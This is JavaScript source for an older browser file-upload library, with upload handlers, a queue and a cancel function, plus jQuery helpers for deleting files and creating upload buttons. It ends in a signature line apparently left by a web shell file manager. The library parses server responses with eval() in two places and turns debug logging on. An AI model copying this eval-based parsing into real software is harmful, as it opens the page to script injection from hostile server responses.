        qq.setText(fileElement, this._formatFileName(fileName));
        this._find(item, 'size').style.display = 'none';

        this._listElement.appendChild(item);
    },
    _getItemByFileId:function (id)
    {
        var item = this._listElement.firstChild;

        // there can't be txt nodes in dynamically created list
        // and we can  use nextSibling
        while (item)
        {
            if (item.qqFileId == id) return item;
            item = item.nextSibling;
        }
    },
    /**
     * delegate click event for cancel link
     **/
    _bindCancelEvent:function ()
    {
        var self = this,
            list = this._listElement;

        qq.attach(list, 'click', function (e)
        {
            e = e || window.event;
            var target = e.target || e.srcElement;

            if (qq.hasClass(target, self._classes.cancel))
            {
                qq.preventDefault(e);

                var item = target.parentNode;
                self._handler.cancel(item.qqFileId);
                qq.remove(item);
            }
        });
    }
});


qq.UploadButton = function (o)
{
    this._options = {
        element:null,
        // if set to true adds multiple attribute to file input
        multiple:false,
        // name attribute of file input
        name:'file',
        onChange:function (input)
        {
        },
        hoverClass:'qq-upload-button-hover',
        focusClass:'qq-upload-button-focus'
    };

    qq.extend(this._options, o);

    this._element = this._options.element;

    // make button suitable container for input
    qq.css(this._element, {
        position:'relative',
        overflow:'hidden',
        // Make sure browse button is in the right side
        // in Internet Explorer
        direction:'ltr'
    });

    this._input = this._createInput();
};

qq.UploadButton.prototype = {
    /* returns file input element */
    getInput:function ()
    {
        return this._input;
    },
    /* cleans/recreates the file input */
    reset:function ()
    {
        if (this._input.parentNode)
        {
            qq.remove(this._input);
        }

        qq.removeClass(this._element, this._options.focusClass);
        this._input = this._createInput();
    },
    _createInput:function ()
    {
        var input = document.createElement("input");

        if (this._options.multiple)
        {
            input.setAttribute("multiple", "multiple");
        }

        input.setAttribute("type", "file");
        input.setAttribute("name", this._options.name);

        qq.css(input, {
            position:'absolute',
            // in Opera only 'browse' button
            // is clickable and it is located at
            // the right side of the input
            right:0,
            top:0,
            fontFamily:'Arial',
            // 4 persons reported this, the max values that worked for them were 243, 236, 236, 118
            fontSize:'118px',
            margin:0,
            padding:0,
            cursor:'pointer',
            opacity:0
        });

        this._element.appendChild(input);

        var self = this;
        qq.attach(input, 'change', function ()
        {
            self._options.onChange(input);
        });

        qq.attach(input, 'mouseover', function ()
        {
            qq.addClass(self._element, self._options.hoverClass);
        });
        qq.attach(input, 'mouseout', function ()
        {
            qq.removeClass(self._element, self._options.hoverClass);
        });
        qq.attach(input, 'focus', function ()
        {
            qq.addClass(self._element, self._options.focusClass);
        });
        qq.attach(input, 'blur', function ()
        {
            qq.removeClass(self._element, self._options.focusClass);
        });

        // IE and Opera, unfortunately have 2 tab stops on file input
        // which is unacceptable in our case, disable keyboard access
        if (window.attachEvent)
        {
            // it is IE or Opera
            input.setAttribute('tabIndex', "-1");
        }

        return input;
    }
};

/**
 * Class for uploading files, uploading itself is handled by child classes
 */
qq.UploadHandlerAbstract = function (o)
{
    this._options = {
        debug:false,
        action:'/upload.php',
        // maximum number of concurrent uploads
        maxConnections:999,
        onProgress:function (id, fileName, loaded, total)
        {
        },
        onComplete:function (id, fileName, response)
        {
        },
        onCancel:function (id, fileName)
        {
        }
    };
    qq.extend(this._options, o);

    this._queue = [];
    // params for files in queue
    this._params = [];
};
qq.UploadHandlerAbstract.prototype = {
    log:function (str)
    {
        if (this._options.debug && window.console) console.log('[uploader] ' + str);
    },
    /**
     * Adds file or file input to the queue
     * @returns id
     **/
    add:function (file)
    {
    },
    /**
     * Sends the file identified by id and additional query params to the server
     */
    upload:function (id, params)
    {
        var len = this._queue.push(id);

        var copy = {};
        qq.extend(copy, params);
        this._params[id] = copy;

        // if too many active uploads, wait...
        if (len <= this._options.maxConnections)
        {
            this._upload(id, this._params[id]);
        }
    },
    /**
     * Cancels file upload by id
     */
    cancel:function (id)
    {
        this._cancel(id);
        this._dequeue(id);
    },
    /**
     * Cancells all uploads
     */
    cancelAll:function ()
    {
        for (var i = 0; i < this._queue.length; i++)
        {
            this._cancel(this._queue[i]);
        }
        this._queue = [];
    },
    /**
     * Returns name of the file identified by id
     */
    getName:function (id)
    {
    },
    /**
     * Returns size of the file identified by id
     */
    getSize:function (id)
    {
    },
    /**
     * Returns id of files being uploaded or
     * waiting for their turn
     */
    getQueue:function ()
    {
        return this._queue;
    },
    /**
     * Actual upload method
     */
    _upload:function (id)
    {
    },
    /**
     * Actual cancel method
     */
    _cancel:function (id)
    {
    },
    /**
     * Removes element from queue, starts upload of next
     */
    _dequeue:function (id)
    {
        var i = qq.indexOf(this._queue, id);
        this._queue.splice(i, 1);

        var max = this._options.maxConnections;

        if (this._queue.length >= max)
        {
            var nextId = this._queue[max - 1];
            this._upload(nextId, this._params[nextId]);
        }
    }
};

/**
 * Class for uploading files using form and iframe
 * @inherits qq.UploadHandlerAbstract
 */
qq.UploadHandlerForm = function (o)
{
    qq.UploadHandlerAbstract.apply(this, arguments);

    this._inputs = {};
};
// @inherits qq.UploadHandlerAbstract
qq.extend(qq.UploadHandlerForm.prototype, qq.UploadHandlerAbstract.prototype);

qq.extend(qq.UploadHandlerForm.prototype, {
    add:function (fileInput)
    {
        fileInput.setAttribute('name', 'qqfile');
        var id = 'qq-upload-handler-iframe' + qq.getUniqueId();

        this._inputs[id] = fileInput;

        // remove file input from DOM
        if (fileInput.parentNode)
        {
            qq.remove(fileInput);
        }

        return id;
    },
    getName:function (id)
    {
        // get input value and remove path to normalize
        return this._inputs[id].value.replace(/.*(\/|\\)/, "");
    },
    _cancel:function (id)
    {
        this._options.onCancel(id, this.getName(id));

        delete this._inputs[id];

        var iframe = document.getElementById(id);
        if (iframe)
        {
            // to cancel request set src to something else
            // we use src="javascript:false;" because it doesn't
            // trigger ie6 prompt on https
            iframe.setAttribute('src', 'javascript:false;');

            qq.remove(iframe);
        }
    },
    _upload:function (id, params)
    {
        var input = this._inputs[id];

        if (!input)
        {
            throw new Error('file with passed id was not added, or already uploaded or cancelled');
        }

        var fileName = this.getName(id);

        var iframe = this._createIframe(id);
        var form = this._createForm(iframe, params);
        form.appendChild(input);

        var self = this;
        this._attachLoadEvent(iframe, function ()
        {
            self.log('iframe loaded');

            var response = self._getIframeContentJSON(iframe);

            self._options.onComplete(id, fileName, response);
            self._dequeue(id);

            delete self._inputs[id];
            // timeout added to fix busy state in FF3.6
            setTimeout(function ()
            {
                qq.remove(iframe);
            }, 1);
        });

        form.submit();
        qq.remove(form);

        return id;
    },
    _attachLoadEvent:function (iframe, callback)
    {
        qq.attach(iframe, 'load', function ()
        {
            // when we remove iframe from dom
            // the request stops, but in IE load
            // event fires
            if (!iframe.parentNode)
            {
                return;
            }

            // fixing Opera 10.53
            if (iframe.contentDocument &&
                iframe.contentDocument.body &&
                iframe.contentDocument.body.innerHTML == "false")
            {
                // In Opera event is fired second time
                // when body.innerHTML changed from false
                // to server response approx. after 1 sec
                // when we upload file with iframe
                return;
            }

            callback();
        });
    },
    /**
     * Returns json object received by iframe from server.
     */
    _getIframeContentJSON:function (iframe)
    {
        // iframe.contentWindow.document - for IE<7
        var doc = iframe.contentDocument ? iframe.contentDocument : iframe.contentWindow.document,
            response;

        this.log("converting iframe's innerHTML to JSON");
        this.log("innerHTML = " + doc.body.innerHTML);

        try
        {
            response = eval("(" + doc.body.innerHTML + ")");
        } catch (err)
        {
            response = {};
        }

        return response;
    },
    /**
     * Creates iframe with unique name
     */
    _createIframe:function (id)
    {
        // We can't use following code as the name attribute
        // won't be properly registered in IE6, and new window
        // on form submit will open
        // var iframe = document.createElement('iframe');
        // iframe.setAttribute('name', id);

        var iframe = qq.toElement('<iframe src="javascript:false;" name="' + id + '" />');
        // src="javascript:false;" removes ie6 prompt on https

        iframe.setAttribute('id', id);

        iframe.style.display = 'none';
        document.body.appendChild(iframe);

        return iframe;
    },
    /**
     * Creates form, that will be submitted to iframe
     */
    _createForm:function (iframe, params)
    {
        // We can't use the following code in IE6
        // var form = document.createElement('form');
        // form.setAttribute('method', 'post');
        // form.setAttribute('enctype', 'multipart/form-data');
        // Because in this case file won't be attached to request
        var form = qq.toElement('<form method="post" enctype="multipart/form-data"></form>');

        var queryString = qq.obj2url(params, this._options.action);

        form.setAttribute('action', queryString);
        form.setAttribute('target', iframe.name);
        form.style.display = 'none';
        document.body.appendChild(form);

        return form;
    }
});

/**
 * Class for uploading files using xhr
 * @inherits qq.UploadHandlerAbstract
 */
qq.UploadHandlerXhr = function (o)
{
    qq.UploadHandlerAbstract.apply(this, arguments);

    this._files = [];
    this._xhrs = [];

    // current loaded size in bytes for each file
    this._loaded = [];
};

// static method
qq.UploadHandlerXhr.isSupported = function ()
{
    var input = document.createElement('input');
    input.type = 'file';

    return (
    'multiple' in input &&
    typeof File != "undefined" &&
    typeof (new XMLHttpRequest()).upload != "undefined" );
};

// @inherits qq.UploadHandlerAbstract
qq.extend(qq.UploadHandlerXhr.prototype, qq.UploadHandlerAbstract.prototype);

qq.extend(qq.UploadHandlerXhr.prototype, {
    /**
     * Adds file to the queue
     * Returns id to use with upload, cancel
     **/
    add:function (file)
    {
        if (!(file instanceof File))
        {
            throw new Error('Passed obj in not a File (in qq.UploadHandlerXhr)');
        }

        return this._files.push(file) - 1;
    },
    getName:function (id)
    {
        var file = this._files[id];
        // fix missing name in Safari 4
        return file.fileName != null ? file.fileName : file.name;
    },
    getSize:function (id)
    {
        var file = this._files[id];
        return file.fileSize != null ? file.fileSize : file.size;
    },
    /**
     * Returns uploaded bytes for file identified by id
     */
    getLoaded:function (id)
    {
        return this._loaded[id] || 0;
    },
    /**
     * Sends the file identified by id and additional query params to the server
     * @param {Object} params name-value string pairs
     */
    _upload:function (id, params)
    {
        var file = this._files[id],
            name = this.getName(id),
            size = this.getSize(id);

        this._loaded[id] = 0;

        var xhr = this._xhrs[id] = new XMLHttpRequest();
        var self = this;

        xhr.upload.onprogress = function (e)
        {
            if (e.lengthComputable)
            {
                self._loaded[id] = e.loaded;
                self._options.onProgress(id, name, e.loaded, e.total);
            }
        };

        xhr.onreadystatechange = function ()
        {
            if (xhr.readyState == 4)
            {
                self._onComplete(id, xhr);
            }
        };

        // build query string
        params = params || {};
        params['qqfile'] = name;
        var queryString = qq.obj2url(params, this._options.action);

        xhr.open("POST", queryString, true);
        xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
        xhr.setRequestHeader("X-File-Name", encodeURIComponent(name));
        xhr.setRequestHeader("Content-Type", "application/octet-stream");
        xhr.send(file);
    },
    _onComplete:function (id, xhr)
    {
        // the request was aborted/cancelled
        if (!this._files[id]) return;

        var name = this.getName(id);
        var size = this.getSize(id);

        this._options.onProgress(id, name, size, size);

        if (xhr.status == 200)
        {
            this.log("xhr - server response received");
            this.log("responseText = " + xhr.responseText);

            var response;

            try
            {
                response = eval("(" + xhr.responseText + ")");
            } catch (err)
            {
                response = {};
            }

            this._options.onComplete(id, name, response);

        }
        else
        {
            this._options.onComplete(id, name, {});
        }

        this._files[id] = null;
        this._xhrs[id] = null;
        this._dequeue(id);
    },
    _cancel:function (id)
    {
        this._options.onCancel(id, this.getName(id));

        this._files[id] = null;

        if (this._xhrs[id])
        {
            this._xhrs[id].abort();
            this._xhrs[id] = null;
        }
    }
});

function deletefile(span, fileindex, url)
{
    jQuery.ajax({
        type: 'GET',
        url: url,
        cache: false,
        // The remaining part of the query string
        data: {
            'action' : 'deletefile',
            'fileindex' : fileindex
        },
        dataType: 'json', // Specify the type because the automatic recognition doesn't work on Firefox

        beforeSend: OnBeforeSend,
        success: OnLoadSuccess,
        error: OnLoadError, /* "error" is deprecated in jQuery 1.8, superseded by "fail" */
        complete: OnLoadComplete
    });

    function OnBeforeSend(jqXHR, settings)
    {
        // Hide the remove button until the operation is in progress
        document.body.style.cursor = "wait";
        jQuery(span).hide();
    }

    function OnLoadSuccess(data/*, textStatus, jqXHR*/)
    {
        // This means that the communication has been ended successfully, not the deletion itself
        if (data.success)
        {
            // Deletion successful: remove the element from the list
            jQuery(span).parent().remove();
        }
        else
        {
            alert(data.error);
        }
    }

    function OnLoadError(jqXHR, textStatus, errorThrown)
    {
        // Communication failed without an error code from the server. The only thing we can do is restoring the "remove" button.
        jQuery(span).show();
    }

    function OnLoadComplete(jqXHR, textStatus)
    {
        document.body.style.cursor = "default";
    }
}


function CreateUploadButton(uploadid, owner, id, url)
{
    if (document.getElementById(uploadid) != null)
    {
        var uploader = new qq.FileUploader(
            {
                element: document.getElementById(uploadid),
                action: url,
                params: {
                    // for params object to query string conversion see "_upload:function (id, params)"
                    /*
                     owner:owner,
                     id:id
                     */
                },
                uniqueid: 'uploadlist-' + owner + id,
                debug: true
            });
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit